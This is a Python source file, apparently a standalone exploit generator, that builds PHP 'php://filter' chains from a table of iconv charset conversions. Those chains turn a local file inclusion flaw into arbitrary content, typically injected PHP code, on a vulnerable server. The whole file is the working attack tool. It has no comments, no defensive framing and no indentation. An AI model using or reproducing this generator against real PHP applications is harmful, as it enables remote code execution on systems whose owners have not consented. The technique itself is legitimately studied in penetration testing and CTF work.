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php_filter_chain.py
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php_filter_chain.py
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import base64
class PHPFilterChainGenerator:
def __init__(self):
self.conversions = {
"0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
"1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
"2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
"3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
"4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
"5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
"6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
"7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
"8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
"9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
"A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
"a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
"B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
"b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
"C": "convert.iconv.UTF8.CSISO2022KR",
"c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
"D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
"d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
"E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"e": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
"F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"f": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
"g": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
"G": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
"H": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
"h": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
"I": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
"i": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
"J": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
"j": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
"K": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
"k": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
"L": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
"l": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
"M": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
"m": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
"N": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
"n": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
"O": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
"o": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
"P": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
"p": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
"q": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
"Q": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
"R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
"r": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
"S": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
"s": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
"T": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
"t": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
"U": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
"u": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
"V": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
"v": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
"W": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
"w": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
"X": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
"x": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
"Y": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
"y": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
"Z": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
"z": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
"/": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
"+": "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
"=": "",
}
def generate_filter_chain(self, chain):
chain = chain.encode("utf-8")
chain = base64.b64encode(chain).decode("utf-8").replace("=", "")
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
for c in chain[::-1]:
filters += self.conversions[c] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource=php://temp"
return final_payload